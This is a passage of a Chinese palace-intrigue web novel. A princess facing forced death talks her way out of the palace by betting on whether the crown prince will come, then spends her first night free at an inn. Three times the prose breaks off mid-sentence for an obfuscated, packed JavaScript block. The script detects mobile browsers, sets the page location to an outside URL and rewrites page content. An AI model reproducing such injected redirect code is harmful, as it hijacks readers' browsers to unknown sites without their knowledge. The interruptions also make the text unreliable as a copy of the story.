黑脸嬷嬷接腔：“快别磨蹭了，殿下赶紧挑一样罢，老奴们也好交差。” 宋文楚眼神一厉。 “本宫说，要见宋明臣。” 白脸嬷嬷吓到了，飞快地往后睃一眼，忙掩住门。 一是为着宋文楚抬出公主身份来压她们。 二是因为她竟敢直呼摄政王名讳！ 宋——明——臣。 在这宫内，谁敢把这仨字挂在嘴边？ 公主死就死了，她本来就要死的。可她们还在宫里当差呢，若让这大不敬的话传进了摄政王耳里，她们也得受连累。 “殿下！慎言！” “本宫明白，嬷嬷。皇叔要我的命，我也认了。可临死前我只想见皇叔一面，论叔侄间的情分他未必就不肯。” 白面嬷嬷干笑一声：“摄政王日理万机怕是没空。” 宋文楚眼底凝起冷意。 “本宫是他嫡亲的侄女，大梁的公主。” 宋文楚又笑了笑，自哂道：“快死的大梁朝公主，也是公主。” 两个嬷嬷还是不曾松口。 其实她们内心也在纠葛着，是有一丝动容，可若只为这生出的一丝动容而担上大的风险，她们是决计不会干的。 宋文楚忽然问：“嬷嬷，你们怕不怕？” 黑脸嬷嬷疑惑：“怕什么？” “怕鬼。”宋文楚嘴角往下弯了弯，眸光黑沉沉的，“我是公主。我没嫁人也没留后，死了就是孤魂野鬼一只。带着浓烈怨念死掉的孤魂野鬼会缠上最后见过的人，缠上谁了谁就得跟着倒霉。” “宋明臣不怕我缠，他有兵有将阳气又重。可你们呢？你们拦着我不让我见他，他回头知道了，不会当回事。可我死了变成鬼，第一个找的就是你们俩。” 黑脸嬷嬷的黑脸都白了。 白面嬷嬷的煞面也不大好看。 宋文楚这一番恐吓到底还是使两个婆子动了心思。 以为她要继续施压，谁料宋文楚却放软了声音。 “两位嬷嬷，我晓得你们为难。若将我带到他面前皇叔若恼了，到时候怪罪下来你们诚然担不起。” 殿下你知道就好啊！ “可我若自个儿跑去呢？你们拦不住，总不能把我腿打断罢？” 白面嬷嬷反应过来：“殿下这是——” “你们只道我是疯了。将死之人了，疯一疯的也寻常。我撒腿往外跑，你们就在后头追着，只是我腿脚利索跑太快了，你们实在追不上，没法子的事。到时候皇叔要怪，也只能怪我疯，怪不着你们身上。” 黑脸嬷嬷没说话，抬眼去瞟白面嬷嬷。 白面嬷嬷笑得苦涩：“殿下倒是个明白人。” 宋文楚眼眶有些红，但她没让泪儿掉下来：“嬷嬷，你们就当行行好，让我拖这一时半刻。若皇叔不见我，这盏酒我回来喝，绝不叫你们为难。” 屋里静得只听见烛火响。 宋文楚知道两个嬷嬷在挣扎。 她也不去打扰。 黑脸嬷嬷拿袖子擦了擦眼角。 终于，白面嬷嬷弯身把托盘上的白绫匕首收起来，只留下那盏酒。 “走罢，殿下。丑话说前头，若王爷不见，这盏酒还得殿下喝。” 宋文楚点点头。 然后把脸一抹，扯散了头发，对两个嬷嬷使了个眼色。 这眼色什么意思，其实她自个儿心里也不是很明白，只觉得干大事前需要点胆魄气势，横竖就是豁出去了的意思。 她转过身一头撞开门就往外冲。 哪管周遭惊诧异样的眼色，撒开了腿就跑，边跑边扯了嗓子喊：“我要见皇叔！——让我见皇叔！——” 一白脸一黑面两个嬷嬷搁后头追，急忙忙唤：“殿下！殿下快回来！使不得呀！” 可体力到底不比正在长身体的小公主，给二人累得吭哧吭哧，自然而然就被宋文楚甩开一大截。 白面嬷嬷扶着腰停下来，冲黑脸嬷嬷努努嘴：差不多了罢？ 黑脸嬷嬷手搭在眉骨上往前望了望，确认看不见宋文楚影子，这才点点头：差不多了。 两人边走嘴上还在喊，脚下却悠哉悠哉消闲庭散步似的，远远坠在后头。 宋文楚还在猛猛跑。 累得鼻腔喉咙里传来铁锈味也不敢停，她只晓得身后有索命无常追着她，再不跑快些命就没得了。 一路上遇见几个洒扫的太监宫女，都被她的狂奔吸引了，像瞧什么稀奇物还指指点点的。她也不管，只管跑，只管喊。 终于，她瞧见垂拱殿偏殿的门了。 偏殿门口站着两个侍卫，甲胄齐全，手按在刀柄上，瞧着比年画上的门神还唬人。 宋文楚冲到跟前，两个侍卫长刀一横，拦住去路。 “站住！此乃临王殿下处理政务处，不得擅闯！” 宋文楚刹不住脚，险些撞刀口上。停下后，大口大口喘着粗气。 “我……我要见临皇叔。”宋文楚弯下腰，两手撑在膝盖上支持着自己站稳。 侍卫板着脸：“摄政王公务繁忙，无暇见客。公主请回。” “我又不是客，我是宋文楚，大梁的公主。我要见他！今日若见不到他，我要闹翻天的！” 侍卫不为所动，刀横得稳着呢。 宋文楚跺着脚对着里面嗓子提到顶了地喊：“叔王！宋明臣！我要见你！” 声音又尖又亮，两个侍卫耳膜都被她吼得生疼，却又没法真的动刀，毕竟这位如今还是大梁的公主。 殿内。 案上的奏折整整齐齐码成两堆，一只修长手握着笔，正批着章。 临王宋明臣自然听到了外头动静。 “何人喧哗？” 侍立在旁的常随洪财喜躬身道：“奴才出去瞧瞧。” 他轻手轻脚退出去，不多时又折回来，脸上神情有些微妙。 “回王爷，是……是文楚公主，嚷嚷着要见王爷呢。” 殿外那位还在喊，喊得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279015|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声嘶力竭，听着又急又恼，还带着点哭腔，间中似乎还听到了临王的名讳。 洪财喜偷眼瞧了瞧主子的脸色，心中只叹服宋文楚胆大。 宋明臣搁下笔。 “放她进来。” 宋文楚被那常随领进去，一脚踏进殿里，如同从寒冬入了暖春，暖得她心酸。 这殿里不似她想象的那样铺张，没有金晃晃的摆设，也没什么贵重器物，地上铺就一张毛绒厚毡。靠窗是张大案，案上堆着两摞奏折，临王坐在奏折中。案边一只铜炉，炭火烧得正旺。 宋文楚收回目光，往前走了两步，跪下。 “叔王，是我，宋文楚。我疯了，所以才跑了出去。嬷嬷们拦不住我，跟着我追来了。” 哪有这么说话的？ 洪财喜都听笑了，低着头肩膀一耸一耸的，憋笑憋得辛苦。 宋文楚神色自若，只要自己不觉得尴尬，那尴尬的便是旁人。 案后那人抬眼看过来。 宋明臣品味着她的话，似觉着好笑又觉着新鲜：“疯了？” 宋文楚跪在那儿，沉默不语。 她方才搁外边喊得厉害，这会儿到了他跟前，反而不知该从何说起。 宋明臣手指在案上轻轻叩着，一下，两下，三下。 “本王问你话呢，方才在外头嚷得那么响，这会儿到我面前怎么不疯了？疯好了？” 她吸了吸鼻子，老老实实回道：“回叔王，刚在外头是假疯，这会儿是真不疯了。” 宋明臣挑了挑眉：“哦？” “外头冷，跑起来才暖和。这会儿殿里热乎，脑子就清楚了，清楚就不敢疯了。” 宋明臣是头一回听见这种说法。 “暖和了反倒不想疯？”宋明臣把她的话重复一遍，轻轻笑了声，听不出是个什么意思，“你这疯病倒挺会挑地方。” 洪财喜这回没憋住，扑哧笑出声来，又赶紧捂住嘴。 宋明臣瞥了他一眼，他立马面无表情，这脸变得怎一个快字了得。 宋文楚跪在那儿，膝盖都硌得疼。她往边上挪了挪换个姿势，又觉得自己这样怪没出息的，反正都是死，死前还跪得膝盖疼，图什么呢？ 可她还是没敢站起来。 “你跑来见我，就为了说这个？” 当然不是。 宋文楚想问的太多。她想问他为什么要杀她，想问他她做错了什么，想问他自己是不是真的活不过今儿个天亮。 可觉得问了也白问，他真要杀她多问这些有什么用？ 她又想起宋展翅。 那个小东西也不知道飞哪儿去了，有没有叫人逮着，有没有找着太子哥哥。 唉。 罢了。 宋明臣执住案上的茶盏抿了一口。这茶盏是青瓷制成的，映着烛光折出油亮的色泽，好看得很。 宋文楚盯着茶盏看了半晌，捋顺了思绪： “叔王，我来的时候，有两个嬷嬷正要送我上路，让我挑个死法痛痛快快上路。我没挑，我发疯跑出来了。” 宋明臣身子往后一靠：“嗯，跑出来了。然后呢？” “我方才一路跑过来想了好多事。我想我母妃，想我父皇，想我小时候的事儿。”她垂下眼，“还想太子哥哥。” “叔王，我想了一路，终于想明白了一件事。” 然后宋文楚又不说话了。 可不止不说话，还莫名笑了一下。 宋明臣瞧着她那模样，问道：“笑什么？” 宋文楚摇摇头，不说话。 “宋文楚。” 她抬头。 宋明臣：“你装疯卖傻折腾出那些动静，就是为了跪在这儿傻笑？” 宋文楚视线缓缓从地上牵到宋明臣身上，四目相对，宋明臣看清了她眸光里泛起的异彩。 “叔王，旁人都认为你留不得我，而我知道，你其实并不是那么想杀我。” 洪财喜屏住呼吸，眼珠子都不敢转一下。 这是能直接说出来的吗！ “哦？”宋明臣开口。 宋文楚一颗心砰砰直跳，她知道下一句话说出来，就收不回去了。 但她停不下来。 “不是叔王想杀我，决定我生死的，是太子哥哥。” 5. 公主已薨 宋明臣看了她一会儿，慢悠悠道：“哦？说说看，为何是太子？” “我碍不着您什么，若真碍着了叔王要杀我也早便杀了，不必等到今日。却把我关在那儿不闻不问，又让宫人送饭又故意说那些话给我听的，我猜叔王是在等。” “等什么？” “等我太子哥哥来救我。” 宋明臣淡淡瞥她一眼。 宋文楚：“可太子哥哥一直没来，叔王也等得不耐烦了，这才添把火让人送我上路。可说到底，皇叔也不是非要杀我不可，只是想看看太子哥哥会不会来。” 宋明臣不置可否，他的沉默让宋文楚心里有点没底。 猜错了？ 宋文楚勾住袖口边沿手指来回卷着，脑中极速地思考着该如何补救。 半晌。 宋明臣嘴角动了动，像是笑：“你这脑子倒比你父皇强些。” 幸好，没有猜错。 宋文楚悄悄吐出口憋在心里的浊气，赶紧趁热打铁道。 “叔王，我想跟您打个赌。” 宋明臣：“打赌？你一个快死的人，拿什么跟本王赌？” “拿命赌。您现在派人去东宫，告诉我太子哥哥，就说我已经死了。” 宋明臣没吭声，只看着她，听着她稚嫩的嗓音说着视死如归的话。 “若是他听了没什么动静，连来都不来一趟，那便是他巴不得我死。真正要杀我的人是他，不是叔王你。那我认了，那杯酒我自己喝，干干脆脆地上路，不用叔王费心。” 宋明臣悠闲自适把完起那只青瓷杯，等着她往下说。 “若是他听了立马赶来，那便说明他在意我的死活。他在意，就不是他想杀我。不是他想杀我，那叔王你又何必非要杀我？” 她说到这儿，眼眶有些发热，又尽力抑住心中酸楚，而后道出真正目的： “叔王若本就不想杀我，便放我走。我不要公主的身份，不要荣华富贵，只要出宫去，当个平民百姓。往后天高水远，我宋文楚此生再不入宫门。” 话落，殿里静了片刻。 宋明臣看她的目光里面多了些东西，像是琢磨，又像是别的什么。 “你这赌，”他慢悠悠道，“倒是有几分意思。” “可你有没有想过，若是太子听见你死了急着要来看，可看不着，那又如何？能证明他心里有你？” “他来看了，知道你没死，然后呢？你是能活，还是不能活？”总归还是个孩子，想到哪处说到哪处。 宋明臣这席话叫宋文楚一愣。 她情急之下只顾活命想着要赌，倒真没细想这一层。 “不过，你这赌约倒也不是全无道理。”宋明臣闭上眼捏了捏鼻梁，看折子看得久了眼睛有些酸涩，“他若真急着来看，说明他确实并不知情也没想让你死。他若不来看，说明他知道或者默许。” “你想赌的，是这个罢？” 宋文楚拼命点头。 没错没错，只要起了个头，自有大王为她辩经。 “宋文楚，”他开口，说不清的意味深长，“你倒是敢赌。” 宋文楚才不管这是夸她还是损她，梗着脖子道：“横竖都是死，赌赌也不亏。” “你若输了，真喝那盏酒？” 宋文楚又点点头。 “你若赢了呢？”宋明臣问，“出了宫，去哪儿？吃什么？花什么？你一个人活得了么？” 这些问题诚然都是问题，可对于当下来讲并非那么要紧，她是顾不上的。 天大地大，离了公主的身份，她就不信能活不下去了。 她自不愿露怯，直视宋明臣眼睛，一脸坦然自若：“活得了。只要有条命在，怎么着都能活，再不济要饭去反正比死了强。” 宋明臣又笑了，这回笑得真切些，眼角都弯了弯。 洪财喜在一旁瞧着，心下泛起嘀咕——王爷多久没这么笑过了？上回笑是什么时候？他愣是想不起来。 “有意思。”宋明臣说，“真有意思。” 他示意洪财喜：“去东宫走一趟，就说文楚公主没了，问太子可要来瞧瞧。” 洪财喜应了声，退了出去。 宋文楚跪在那儿，心里七上八下的。刚刚说得那么潇洒豪迈，也掩盖不了她的惶恐，甚至她到现在仍不敢置信自己是真的闯进了垂拱殿偏殿，还和宋明臣打上赌了。 她害怕眼前一切只是临死前的幻梦一场，而真实的宋文楚已经被一杯毒鸩药倒走在了寂寥的黄泉路上。 门开了又关上，带进来一阵冷风。宋文楚打了个哆嗦，抱怨着宋明臣真没眼力见儿怎的还不让她起，地上又冷又磕人，给她膝盖都跪得麻了。 “起来罢，地上凉。”宋明臣忽然出声。 宋文楚抖了一下，疑心宋明臣能听到她心声，连忙将脑中所想统统驱走，撑着地爬起来，腿都软了晃了两晃才站稳。 宋明臣指了指旁边的杌子：“坐。” 宋文楚别扭地提着两条不听使唤的腿慢吞吞挪过去，挨着门边的一把椅子坐下来，挨了半边屁股，像是随时准备弹起来。宋明臣注意到她的坐姿，不免觉得好笑。 殿内炭火烧得很旺，暖烘烘的热气扑在脸上，宋文楚的脸被熏得彤红。这一暖和，眼皮又开始耷拉，心也不警惕了，命也不要紧了，只想痛快睡倒。她使劲瞪着眼睛又掐一掐手心，不住提醒自己别睡着。 可不敢睡，就怕一觉醒来酒已经灌嘴里了。 她想着，开始环顾四周转移注意力。 宋明臣也不管她，觉着眼睛缓过来了些，便自顾自继续看折子。 她觑着眼打量宋明臣。 炭火暖，烛光黄，他坐在那一片光晕里周身似披了层昏黄的霞衣。 她又想起父皇。 父皇还好着的时候，这殿里是不是也这样？父皇坐在这儿批折子，宋明臣坐在哪儿？站着还是坐着？他们兄弟俩说话么？说什么呢？ 她正看得出神，宋明臣忽然抬起头来。 四目相对。 宋文楚尴尬一笑，冲他摆摆手，表示自己只是随意看看。 然后撇过脑袋接着思考人生，想着想着视线又模糊了。 也不知过了多久，外头响起了急促的脚步声。 宋文楚还未从昏昏欲睡的状态中调整过来，动作慢一拍地望去门外。 门被推开冷风灌进来，宋文楚一个激灵醒过来，差点从杌子上栽下去。 进来的人一身玄色袍服，身形颀长。肩头沾了夜里降的霜，发髻松散，垂下几缕碎发贴在耳边，像是从床上爬起来套上衣裳就往外跑一样。 他手里还攥着一团灰扑扑的东西—— 宋展翅。 宋文楚差点叫出声来，本能地心疼宋展翅。 这是她亲手养大的的小东西，每天揣在怀里暖着，拿自己口粮喂着，这会儿却被太子粗鲁地攥在手心，扑腾都扑腾不开，宋文楚瞧得很窝心。 很快宋文楚察觉到异样。 他来得太快了。 从东宫到这儿，去一趟少说也得二刻钟，可她才坐了没多久他就到了。 宋文楚心里已经有了答案。 宋清让一进门，看到好端端坐在那儿的宋文楚，面上的担忧总算落回肚里。 “文楚！”他说，声音温润轻和，“你没事就好。我接到消息的时候都吓坏了，赶紧过来看看。” 他说得自然关切，仿佛真的刚听说似的。 宋文楚垂下眼，说了声“太子哥哥，我无碍”而后期期艾艾盯着他的手，宋清让没懂她意思也没再管她，转头看向案后的宋明臣。 宋明臣靠在椅背上，洪财喜上前为他续了茶。宋明臣吹着水面茶沫，见宋清让看过来，点了点头：“太子来了。” 宋清让脸上的急切神色收了收，换上恭敬：“叔王。” 宋明臣嗯了一声，目光自然落在他手里的宋展翅上：“太子手里拿的什么？” 宋清让这才想是反应过来一般，把宋展翅递给宋文楚：“这小东西飞到东宫来，我瞧着像是从你殿里飞出的。正想抽空给你送回去，就听见……” 他没说下去，只摇了摇头。 宋文楚不想听他扯这些冠冕堂皇的话篇，一句话没回直接伸手去接，宋展翅一落到她掌心便往她怀里钻，咻咻叫个不停，翅膀抖得厉害。 她摸着它的绒毛，眼里尽是失而复得的喜悦，回到了心安之处宋展翅又歪头看她。 宋展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279016|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翅在她手里的时候，总是昂着头精神抖擞的，翅膀扑棱个不停。可这会儿经过宋清让手上摧残，脑袋上的毛像是掉了几根，翅膀也软趴趴垂着，只有眼睛还亮亮的。 宋展翅在说：我找到他了，我做到了。 好展翅，你真棒。 宋明臣看到了那只鲲。 他派人送去给宋文楚的时候，特意挑了只最干净的，这玩意儿刚断气没多久，瞧着不那么吓人。 如今这东西又出现在他眼前。 被宋清让攥在手里，递到她怀里。 宋明臣手中茶盏放下，掀起眼皮漫不经心道：“太子殿下好快的腿脚，从东宫到这儿来回寻常得走半个时辰。殿下一炷香工夫就到了——这是飞来的？” 宋清让站在门口，脸上看不出什么表情。 “侄儿听说文楚出了事，心里着急便赶过来了，叔王莫怪。” “不怪，年轻人是该有点急劲儿，太子关心妹妹是好事。” 宋明臣语气一转。 “可本王有句话想问问殿下，殿下便是再快的脚力，这报信的人才刚出门殿下后脚就到了。算算时辰，约摸是在半道上碰见的？还是殿下就守在垂拱殿附近呢？” 这话说得平平常常，却令宋清让脸上的笑一僵。 他转向宋文楚，眼底的光忽明忽灭。 “文楚，你这赌，算是赢了还是输了？” 宋文楚不知如何作答。 赌赢了？太子哥哥来了，他在意她的死活，那便不是他想杀她。 可她心中并没有赢的喜悦。 宋清让看看宋明臣，又看看宋文楚，眉头微微一皱：“什么赌？” 没人答他。 宋明臣站起身，走到宋文楚跟前，居高临下视她。 然后叹了口气。 那声叹很轻，却让宋文楚的心一颤，生怕他改变主意。 “宋文楚，你方才说赢了就放你出宫，当个平民百姓？” 宋文楚点点头。 宋明臣字字清晰。 “好。大梁公主宋文楚，今日殁了。玉牒除名，宗庙撤牌，从今往后世上再没有这个人。” 宋清让满脸惊愕。 “叔王，这……这是何意？” “太子不是听见了？文楚公主今夜没了。” 宋清让嘴唇动了动，悲恸得说不出话来，看向宋文楚的眼里满是心疼与不忍。 宋文楚听懂了。 她活下来了。她松了口气，又怅然若失。 “谢叔王不杀之恩。”她的头磕下去，碰在厚毡上碰出闷闷的声响。 宋明臣叫她起来。 “先别忙着谢。活是给你活了，可怎么个活法，那是你自己的事。大梁公主的位份、俸禄、体面，你一样也带不走。出了这道门你什么都不是，是死是活全凭你自己的命。” 宋文楚点头：“我明白。” “明白就好。既是出宫，总得有个出宫的法子。财喜——” 洪财喜应声上前。 “后头那辆粪车，可走了？” 宋文楚脑子里嗡的一声。 宋清让抬眼看宋文楚。 洪财喜也愣了一下，小心回道：“回王爷，还……还不曾，正候着出宫呢。” “公主自然有公主的銮驾仪仗。”宋明臣说，“可你已经不是公主了。一个什么都不是的人，坐什么不是坐？粪车也是车，能出宫门就是好车。” 宫里那粪车都是专拣没人的时候从后门走，赶车的太监都低着头生怕叫人瞧见。宫人们提起来，全是捂住鼻子笑着说的。那味儿，隔二里地都能闻见，谁沾上都得恶心一整天。 如今她要坐那玩意儿出宫？ 宋展翅从她怀里探出脑袋，咻了一声，像是也在问：真的假的？ 这位临王，连给人条生路都要给得如此腌臜。 怕了罢？文楚，怕了罢？怕了就好，怕了就知道求人了。 宋清让的目光越发温柔。 文楚回头。文楚看看我。文楚唤我一声“太子哥哥”。 他在心里默默地念：只若她害怕，只若她绝望，只若她在最后一刻回过头来，用那双湿漉漉的眼睛望着自己，喊一声“太子哥哥帮我”。 6. 平安顺遂 那时候，他自会上前一步，挡在她身前。 那时候，她就会知道，这世上只有太子哥哥靠得住，只有太子哥哥能救她。 文楚，快回头。 快叫太子哥哥。 快呀。 宋文楚没回头。 许久等不来宋文楚回应，宋明臣明知故问：“怎么，不愿坐？” 宋文楚却不回答，她站直了身体，脸上绽出抹矜贵笑容，她伸出右手掌心向上，递到他跟前。 “叔王，传人把那杯毒酒拿来给我罢。” 洪财喜刚迈出去的脚悬在半空，落也不是，收也不是。 “你——” 宋文楚，你在说什么？ 你疯了不成？ 宋清让像是被人迎面打了一拳，面子掉了一地，脑子也不清晰。 你宁可死，也不要我救？ 你要毒酒做什么，你会真死的。 你该求我呀。你回头，你看看我，只要你开口，我—— 宋清让脚一步没往前挪，一句话未说。他只站在那儿，一步也没动。 “叔王方才给的那条活路，想要活着就得坐粪车出去，那我不要了。” 宋文楚的声音很平静，却教人听得心里难受。 “叔王给我活路，我心里自是领情的。可我不想那样活。我好歹也是公主。宋文楚公主，死也要死得干净。” “那杯酒，给我罢。” 洪财喜心道这位公主殿下莫不是真疯了？方才装疯装癫都要求一条活路，这会儿倒上赶着要死了？ 宋展翅想要从她怀里挣出来，张着嘴咻咻直叫的，也不知道是替她求情还是在骂人。 宋文楚将它脑袋按回去。 “宋文楚，”宋明臣眯起眼，周围的温度都冷了几分，“你这是在跟我讨价还价？” 宋文楚摇头：“不是讨价还价。是请叔王成全。” “成全你死？” “成全我体面。” 宋明臣轻嗤：“那杯毒鸩喝下去，你会七窍流血而亡，死了面上身上是青黑色，收尸的人都嫌难看，你管那叫体面么？那你的体面还挺别致的。” 宋文楚哪里不明白，但她心里知道此刻绝不能退让。 “七窍流血也好，面目青黑也罢，反正那些个全是死后的样子，我自己又瞧不见。但我要是坐粪车出宫，就是活着的时候丢人了，我自己瞧得见，别人也不瞎。我脸皮薄，可受不住的。” “脸皮薄？”宋明臣怀疑自己听错了，“脸皮薄敢跑我这儿来撒泼打滚？脸皮薄敢跟我讨价还价？” 宋文楚让他说得脸上发烫，忍不住辩驳道：“那不一样。” “哪儿不一样？” “我跑来找叔王本也是没办法的事。我若不跑便是死，死了就什么都没了，我又不傻能乖乖等死么？但既然我见到了叔王，叔王愿意让我活，总归活都让我活了，能不能再让我活得有点人样儿？” 宋文楚望向他的眼睛亮亮的，是血脉亲近先天懵懂的纯真，是俯颈示弱后天世故的养成。 “叔王，我知道我没资格挑。你让我活已是恩典了，我老实坐着粪车出去就好了，往后是死是活都不关你的事。可我……我还是想最后一次以公主的体面离开。” “叔王，我怕，怕坐这辆粪车比怕死还多些。” 宋文楚的一双眼睛，与他生得很像，都是含着夜的颜色。也如夜一样，随风而来温凉，寒星高悬天穹闪着执拗的光。 宋明臣伸手，将宋文楚伸着的手按下去。 “酒没了。” 他转身走回案后坐下，拿起奏折，头也不抬道： “方才你来我这儿前没喝，已经被人端了出去，这会儿估摸着被倒进泔水桶了。你要喝的话，自己去泔水桶里捞。财喜，去备辆青帷小车来，拉着她从后门出去。” 洪财喜应声退下准备。 宋文楚逃出生天又留了体面，自然开心。 宋清让的心亦随之落回到原处。 看着宋文楚笑，他也笑了，笑容得体又清爽，任谁看了都说一声“太子仁厚，见妹妹活命心中欢喜”。 她死不了了。好，好，死不了就好。 宋清让更遗憾。 文楚捡了条命。可捡的这条命，不是他给的。 宋文楚搂着宋展翅，雀跃着跟在洪财喜身后就要走。 宋清让突然喊住她：“文楚。” 文楚。 自宋清让进门，宋文楚再没同他说过第二句话，现在他唤住自己是想说什么呢？ 解释为何宋展翅早就寻到他了，他却姗姗来迟吗？ 解释为何她的死讯传去，他却来得那样快吗？ 她的太子哥哥，终究是和幼时不同了。 小时候太子哥哥看她，眼里有光，有暖，有兄长的慈爱。现在宋清让看她，眼里有什么？ 好像没了，又好像什么都有，只是错综复杂揉成一团，任她辨不明看不清。 太子哥哥空了，太子哥哥离她远了，他们之间被什么分隔了，是被纱还是被山？ 她对宋清让的孺慕也在今夜消逝了。就在那么一瞬间，消逝得莫名其妙，消逝得无迹可寻。 她连该怪谁都不知道。 太子哥哥，我们往后再也见不得了。 你是太子，是君。我是民，是草。君与草之间，隔着宫墙九重，隔着万水千山，隔着此生都无法逾越的沟壑。 太子哥哥，顺安。 宋文楚回头看他，眼里无怨无恨，只剩单纯的困惑：怎么了？ 他上前将宋文楚散落在脸侧的一缕碎发顺到耳后。 “文楚，往后好好活着。” 宋文楚应了下，抱着宋展翅转身走了。 马车出了东华门，骨碌碌驶向未知归处。 宋文楚除了身上这套衣裳与怀里的鲲，别的什么也没带。 她最后回望一眼养心殿方向，心中默默对父皇道别。 文楚惟愿活下来，去看朱墙外天的颜色，去闻乡野间风的气息。 惟愿活下来，守着宋展翅长大，盼他翱翔天际。 惟愿活下来，替父皇瞧瞧，这世间除了皇宫，还有什么。 父皇。 文楚走了。 往后，药苦也要忍着咽下，夜凉记得多添衣裳。若是念着儿时…… 念着儿时，便望望那株老梅吧。它开花的时候，便当儿还在。 …… 马车也不知晃悠了多久，总算停下来的时候，宋文楚都已经迷瞪得快睡过去。 赶车的太监跳下来，掀开帘子：“姑娘，到地儿了。” 宋文楚揉揉眼往外一瞅，黑灯瞎火的，只望见一盏灯笼挂在门檐下，晃晃悠悠照着块有些年头的招牌：来安客栈。 她把宋展翅往怀里掖了掖，爬下车，跟着太监一起进了客栈。那太监走到柜台处从袖里摸出几枚铜板，递给掌柜的：“给这位姑娘开间一晚的房。”办完了手续就和宋文楚道别离开。 哦只有一晚，意思就是明天得自己想办法了。 宋文楚无所谓，明个儿的事明个儿再提，先把今晚度过再说。 掌柜的注意到太监阴柔的声音，大概猜到这两位是从宫里头出来的。不过生意人嘛，多一码事不如少一码事，他只管收了钱满脸堆笑：“姑娘里边请。” 屋子不大摆设也简单，就一张床一张桌，门后头立着个盆架，架上搁着只豁了口的瓦盆。床边摆了口火盆，碳燃得暖烘烘的。 宋文楚将窗户开了点透气，脱了外衫往床边一坐。宋展翅从她怀里钻出来，咻了一声，在这屋子里兜兜转转打量着。 “没甚好看的，就住一宿。” 坐下去就不想动了。宋文楚往后一仰倒在床上，瞪着房梁发愣。 这外面的房梁，跟宫里的不一样。宫里的房梁描金绘彩，夜里也亮堂堂的，哪像这个黑得跟锅底一样，真难看。 宋展翅在桌上咻了一声，她没理。又咻了一声，她还是没理。 等宋展翅再咻的时候，她已睡着了。 宋展翅站在桌上，看着床上那缩成一团的人，急得团团转。 这就睡了？就这么睡了？ 它扇着翅膀想飞到床上，第一下没飞起来，再扇，还是没飞起来。 宋展翅缩回翅膀，蹲在桌上愣愣望着她发呆。 明日可怎么办？ 它越想越急，翅膀根儿都冒出汗了。虽说它没汗，可它觉着自己这种时候该冒汗。 急也没用。算了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17279017|198335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，啄会儿自个儿的羽毛缓解焦躁吧。 也不知啄了多少根，床上的人动了动。 宋文楚翻了个身，感觉嗓子里渴得很，迷糊着爬起来找水喝。 点上灯，火苗一晃一晃的，边上还蹲了一团。 宋展翅？ 它浑身绒毛乱糟糟的，旁边躺着几根细的，金豆子眼睛眨巴眨巴。 宋文楚伸手捞它过来。 “大半夜不睡觉，啄毛玩儿？咳咳——”夜间吼得太过了，现在嗓子撕拉撕拉地疼，她忙灌下杯茶润润，“你跟自己有仇呢？” 宋展翅拿翅膀往门的位置指了指。 宋文楚顺着它指的方向望过去，只一扇门，别的什么也看不见。 “外面有鬼？”宋文楚有点紧张。 宋展翅又咻咻叫，这回拿翅膀指了床，指了她，末了戳戳自己。 宋文楚寻思半天也没看懂。 “你慢些比划呀，这么快谁看得懂？” 宋展翅深吸一口气——然后放慢动作，重新比划。 重新指向问，再指床，然后翅膀尖在桌上画了个圈，最后两翅一摊，没了。 宋文楚“哦～”了一声，抵住下巴。 “我明白了，你是说明天没地方住了是吧？” 宋展翅拼命点头，点得绒毛乱飞。 宋明臣只给付了一晚房钱，明天天亮，一人一鲲就得走人。 宋展翅思虑太过，愁着明天该如何谋生。 “你就为这个急得睡不着？” 宋展翅继续点头。 “傻东西，急什么？天大地方大，还能没咱们容身之处？”宋文楚啪叽弹下它脑袋。 宋展翅歪头，金豆眼里充斥着怀疑：当真？ 宋文楚让它这么一看，倒生出几分豪气来。她拖来张凳子坐下，又倒了杯凉茶。这茶实在劣质涩得人舌头都发麻，可这会子也顾不上讲究，茶不嫌她穷她也就不嫌茶劣。 嗓子舒服了些，开始给宋展翅摆道理： “你想想，我会什么？琴棋书画，诗词歌赋，哪样拿不出手？明日一早出去就寻个文职做做，还不是轻而易举的事？” 宋展翅眼睛亮了。 “街上的铺子那么多，总有一家缺账房先生的吧？我字写得好看账算得清楚，还能写几笔诗文添个彩头，谁家请了我那是他们赚了。” 宋展翅啾啾叫。 “还有那些大户人家，要请西席教儿女读书的。小时候太傅如何教我，我便如何教他们。随便教教，也比外面的夫子强。再说了，我是宫里出来的公主，见过世面，教出来的学生眼界都不一样。” 宋展翅的翅膀不抖了，竖起耳朵听。 “再不济，我去给人画画儿。我画的花鸟，父皇都说好。外面那些画师，有几个真见过御花园里的鸟？我能画得比他们像。” 她说着，手指在桌上比划两下，仿佛已经铺开纸笔，要画一幅御苑春色图。 